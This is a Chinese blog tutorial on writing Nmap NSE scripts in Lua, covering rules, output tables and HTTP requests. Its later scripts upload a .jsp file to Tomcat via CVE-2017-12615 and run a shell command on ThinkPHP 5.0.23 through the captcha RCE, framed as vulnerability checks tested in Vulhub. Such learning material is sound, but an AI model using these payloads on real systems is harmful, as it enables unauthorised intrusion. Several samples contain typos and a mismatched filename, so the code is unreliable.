zoukankan      html  css  js  c++  java
  • Nmap脚本编写

    Nmap介绍

     
    Nmap是一个强大的扫描工具,是一个开源的工具(钦佩开源开发者)
     
    脚本位置位于:

    Ubuntu:
    /usr/share/nmap/scripts/
    MAC:
    /usr/local/Cellar/nmap/7.70/share/nmap/scripts
    看来Mac使用Brew下载的东西都在 /usr/local/Cellar/ 里面
    

     
    自带的脚本数量很多
     
    接下来是他的脚本参数
     

    SCRIPT SCAN:
      -sC: equivalent to --script=default
      --script=<Lua scripts>: <Lua scripts> is a comma separated list of
               directories, script-files or script-categories
      --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
      --script-args-file=filename: provide NSE script args in a file
      --script-trace: Show all data sent and received
      --script-updatedb: Update the script database.
      --script-help=<Lua scripts>: Show help about scripts.
               <Lua scripts> is a comma-separated list of script-files or
               script-categories.
    

     
    -sC 是指采用默认配置扫描与--script=default等价
     
    --script=脚本名(一般位于Scripts目录下)
     
    ls | sed 's/.nse//' > name.list可以快速将我们所有的脚本名字整出来
     

     
    --script-args=ker1=value1,key2=value2该参数是用来传递脚本里面的参数

    -–script-args-file=filename使用文件夹来为脚本提供参数

    --script-trace如果没有设置该参数,则所有的脚本收发请求过程都会显示

    --script-updatedb Script目录自带一个script.db,该文件中保存了当前Nmap可用的脚本类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新
    --script-help=脚本名,调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。
     
    -sC参数调用的默认脚本

    https://nmap.org/nsedoc/categories/default.html

    确实挺多的

    脚本执行规则

     
    Nmap在调用任何脚本之前都会执行nse_main.lua这个脚本,里面定义了一些脚本的执行规则,首先是在大约64行左右吧
     

    prerule //再扫描任何主机之前,prerule函数执行一次
    hostrule //在扫描一个主机之后运行一次
    portrule //在扫描一个主机的端口后运行一次
    postrule //在全部扫描完毕后运行一次
    

     
    可以写一个脚本实验一下
     

    prerule=function()
        print("prerule()")
    end
    hostrule=function()
        print("hostrule()")
    end
    portrule=function()
        print("portrule()")
    end
    action=function()
        print("action()")
    end
    postrule=function()
        print("postrule()")
    end
    

     
    使用一下实验一下结果
     

     
    action函数是在portrulehostrule返回true后自动执行的函数
     

    local stdnse = require "stdnse"
    prerule=function()
    end
    hostrule=function(host)
        return true
    end
    portrule=function(host,port)
        return true
    end
    action = function()
        print("[*]action ...")
    end
    postrule=function()
    end
    

    主机/端口

    &nbsp
    在进行主机扫描的时候我们会执行hostrule函数,这个还有一个形参,就是host(在Lua语言中它是一种叫做 表 的数据类型,就当他是php中的关联数组吧),里面包含一些信息
     

     
    同样的对于portrule也是一样的
     

     
    不过有两个参数hostport
     

    优化输出格式--表

     
    在stdnse包中有一个函数叫output_table(),它能够返回一个table数据类型,通过操作这个table,将Key->Value的对应关系数据或列表数据放入,再return,就可以输出漂亮的格式
     

    local stdnse = require "stdnse"
    http_table = stdnse.output_table()
    prerule=function()
    end
    hostrule=function(host)
    end
    portrule=function(host,port)
        if(port.number == 53 or port.number == 443)then
            http_table.http_host_mac = stdnse.format_mac(host.mac_addr)
            return true
        end
    end
    action=function()
        return http_table
    end
    postrule=function()
    end
    

     

     
     

    Http包的使用

     
    一般做漏洞验证的时候,就需要使用Http包来发送请求信息,最后根据结果来判断是否有漏洞
     

    • 响应表

     
    响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等

    |   Response: 
    |     status: 200
    |     header: 
    |       content-length: 0
    |       allow: POST,OPTIONS,HEAD,GET
    |       connection: close
    |       content-type: text/html
    |       server: Apache/2.4.29 (Debian)
    |       date: Fri, 06 Jul 2018 07:02:13 GMT
    |     ssl: false
    |     body: 
    |     cookies: 
    | 
    |     status-line: HTTP/1.1 200 OKx0D
    | 
    |     rawheader: 
    |       Date: Fri, 06 Jul 2018 07:02:13 GMT
    |       Server: Apache/2.4.29 (Debian)
    |       Allow: POST,OPTIONS,HEAD,GET
    |       Content-Length: 0
    |       Connection: close
    |       Content-Type: text/html
    |       
    |_    version: 1.1
    
    • Options表

     
    Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向
     

    {
    timeout:
    header:{"Content-Type":"",...},
    cookies:{{"name","value","path"},...},
    auth:{username:"",password:""},
    bypass_cache:true,
    no_cache:true,
    no_cache_body:true,
    any_af:true,
    redirect_ok:true
    }
    
    • 发送http请求

     
    使用http包中的generic_request可以发送HTTP请求
     
    参数如下
     

    host : host表
    port : port 表
    method : HTTP方法,例如:GET、POST、HEAD…
    path : 请求路径,默认是根路径“/”
    options : 用于设置请求相关的Cookie、超时时间、header
    

     
    发送OPTIONS请求获取目标服务支持哪些HTTP方法
     

    local stdnse = require("stdnse")
    local http = require("http")
    prerule=function()
    end
    hostrule=function()
        return false
    end
    portrule=function(host,port)
        if(port.number == 12345) then
            return true
        end
    end
    action=function(host,port)
        local result = http.generic_request(host,port,"OPTIONS","/",nil)
        if(result.status == 200 ) then
            local allow=stdnse.oupput_table()
            allow.allowMethod=result.header["allow"]
            return allow
        end
    en
    

     
    发送Get请求(就是generic_request函数少了一个、method参数)
     

    local stdnse = require "stdnse"
    local http = require "http"
    prerule=function()
    end
    hostrule=function(host)
        return false
    end
    portrule=function(host,port)
        if(port.number == 80) then
            return true
        end
        return false
    end
    action = function(host,port)
        local result = http.get(host,port,"/nmap")
        if(result.status == 404)then
            local status = stdnse.output_table()
            status.response_line = result["status-line"]
            return status
        end
    end
    postrule=function()
    end
    

     
    发送POST请求
     
    参数如下
     

    host : host表
    port : port 表
    path : 请求路径,默认是根路径“/”
    options : 用于设置请求相关的Cookie、超时时间、header
    ignored : 是否忽略向后兼容性
    postdata : post提交数据,可以是一个表,也可以是一个字符串,具体形式如下:
    

     
    postdata有两种表现形式
     

    username=admin&password=admin
    或者:
    local data = {}
    data.username = "admin"
    data.password = "admin"
    
    local stdnse = require("stdnse")
    local http = require("http")
    hostrule=function(host)
        return false
    end
    portrule=function(host,port)
        if(port.number == 12345) then
            return true
        end
        return false
    end
    action=function(host,port)
        local data = {}
        data.username = "admin"
        data.password = "admin"
        local result = http.post(host,port,"/1.php",nil,true,data)
        if(result.status==200) then
            local message = stdnse.output_table()
            message.response_line= result["body"]
            return message
        end
    end
    

     
    http.generic_request以及http.posthttp.get等都返回一个响应表,我们可以从中取出一些数据来验证POC或者EXP等是否有效
     

    简单脚本编写

     
    编写CVE-2017-12615的验证脚本
     
    这里面我用了Vulhub的环境来进行复现
     
    这个漏洞就是利用PUT像服务器恶意上传文件,并且上传成功后的状态码为201
     

    local stdnse = require("stdnse")
    local http = require("http")
    local 
    hostrule=function()
    end
    portrule=function(host,port)
        local num_port = {80,8080,8090,8899}
        for test in pairs(num_port)do
            if(port.number ==  num_port[test])then
                return true
            end
        end
    end
    action=function(host,port)
        local poc_string="Mikasa"
        local file_name=string.format("/%d.jsp",math.random(9999))
        local put_upload=http.put(host,port,file_name .. "/",nil,poc_string)
        local output=stdnse.output_table()
        if(put_upload.status == 201)then
            output.shell_name=file_name
            return output
        end
        return false
    end
    postrule=function()
    end
    

     

     

    脚本进阶编程

     
    上面的例子是根据我们http状态码来进行判断的,但是在检测的时候大多数都是对响应内容的排查,这时候就要就要学习一下字符串操作函数以及HTTP包自带的函数
     

    response_contains函数,用于在响应表中匹配字符串,参数如下:
    response : 响应表,可以是(http.get、http.post、http. pipeline_go、http.head等函数的返回值)
    pattern : 字符串匹配模式,可参考lua手册
    case_sensitive : 是否区分大小写,默认值为false,不区分
    返回值:
    match_state : 匹配成功为true,匹配失败为false
    

     
    Lua字符匹配
     

     

     
    lua中的特殊字符是%.^$+-*?
     
    比如上方我们可以验证是否我们上传的文件内容是否是正确的
     

    local stdnse = require("stdnse")
    local http = require("http")
    local 
    hostrule=function()
    end
    portrule=function(host,port)
        local num_port = {80,8080,8090,8899}
        for test,test233 in pairs(num_port)do
            if(port.number ==  test233)then
                return true
            end
        end
    end
    
    
    action=function(host,port)
        local shell_name=string.format("%sQAQ%d.jsp","/",math.random(9999))
        local put_upload=http.put(host,port,shell_name .. "/",nil,"CVE-2017-12615")
        local status=stdnse.output_table()
        if(put_upload.status== 201)then
            status.shell_name=shell_name
            local get_test=http.get(host,port,shell_name)
            if(get_test and http.response_contains(get_test,"CVE%-2017%-12615"))then
    
                return status
            end
            return false
        end
        return false
    end
    
    

     
    更多库可以参考
     
    https://nmap.org/nsedoc/lib/
     

    ThinkphpRce检测

     
    上面都是根据别人博客学习总结的,自己也想写一个,但不知道写什么,于是就拿来写Thinkphp吧
     

    local stdnse = require("stdnse")
    local http = require("http")
    prerole=function()
    end
    hostrule=function()
    end
    portrule=function(host,port)
        local port_num={80,443,8080}
        for test,ppp in pairs(port_num)do
            if(port.number == ppp)then
                return true
            end
        end
    end
    
    action=function(host,port)
        local uri="/index.php?s=captcha"
        local data = {}
        data["_method"] = "__construct"
        data["filter[]"] = "system"
        data["method"] = "get"
        data["server[REQUEST_METHOD]"] = "echo Mikasa > 2.txt"
        local qqqq=http.post(host,port,uri,nil,true,data)
        local uri="/2.txt"
        local status = stdnse.output_table()
        local post_data =http.get(host,port,uri)
        if(post_data.status == 200 )then
            status.vlun="ThinkPhpRce"
            return status
        end
    end
    

     

     
    这个其实不完美,哎,我的水平就这样...
     

    Nmap完整脚本

     
    一个完整的NSE脚本应该包含以下字段
     
    description:脚本的描述以及catagories:脚本的分类rule:脚本触发规则还有action:脚本执行内容
     
    上面完整的代码如下
     

    local stdnse = require("stdnse")
    local http = require("http")
    local vulns = require("vulns")
    description = [[Chink ThinkPhp5.0.23-Rce]]
    
    author = "Mikasa"
    
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    
    categories = {"vuln"}
    
    
    local vuln = {
        title = "ThinkPhp5.0.23-Rce",
        state = vulns.STATE.NOT_VULN,
        description = [[Chink ThinkPhp5.0.23-Rce]],
        IDS = {
         CVE = "" 
        },
        references = {
         ""
        },
           dates = {
            disclosure = { year = '2020', month = '3', day = '08' }
        }
    }
    
    
    prerole=function()
    end
    hostrule=function()
    end
    portrule=function(host,port)
        local port_num={80,443,8080}
        for test,ppp in pairs(port_num)do
            if(port.number == ppp)then
                return true
            end
        end
    end
    
    action=function(host,port)
        local vuln_report = vulns.Report:new(SCRIPT_NAME,host,port)
        local uri="/index.php?s=captcha"
        local data = {}
        data["_method"] = "__construct"
        data["filter[]"] = "system"
        data["method"] = "get"
        data["server[REQUEST_METHOD]"] = "echo Mikasa > 5.txt"
        local qqqq=http.post(host,port,uri,nil,true,data)
        local uri="/2.txt"
        local status = stdnse.output_table()
        local post_data =http.get(host,port,uri)
        if(post_data.status == 200 )then
            --status.vlun="ThinkPhpRce"
            vuln.state = vulns.STATE.VULN
            --return status
            return vuln_report:make_output(vuln)
        end
    end
    

     

     
    这里我们用漏洞报告的形式取代了以前的output_table()
     
    关于Nmap脚本的学习就暂时到这里了
     

    参考资料

     
    https://github.com/shark1990/nmapScripts/blob/master/webLogic/CVE-2017-10271/CVE-2017-10271.nse

    https://zhuanlan.zhihu.com/p/40681245

    https://zhuanlan.zhihu.com/p/40677048

    https://zhuanlan.zhihu.com/p/40678654

    https://zhuanlan.zhihu.com/p/40681245

    https://lengjibo.github.io/nmapnse/
     
    多谢各位大佬写的一系列文章

  • 相关阅读:
    Salesforce LWC学习(三十七) Promise解决progressindicator的小问题
    Salesforce Consumer Goods Cloud 浅谈篇三之 行动计划(Action Plan)相关配置
    python 3.7环境安装并使用csv
    分享数据库优化文章
    php 5.4 var_export的改进
    CentOS7 启动 firewalld 防火墙失败,查看日志提示超时
    使用 SSL 加密的 JDBC 连接 SAP HANA 数据库
    CAS学习笔记一:CAS 授权服务器简易搭建
    202110期自考总结
    自定义 OpenShift s2i 镜像与模板——OracleJDK8
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Nmap-jiao-ben-bian-xie.html
Copyright © 2011-2022 走看看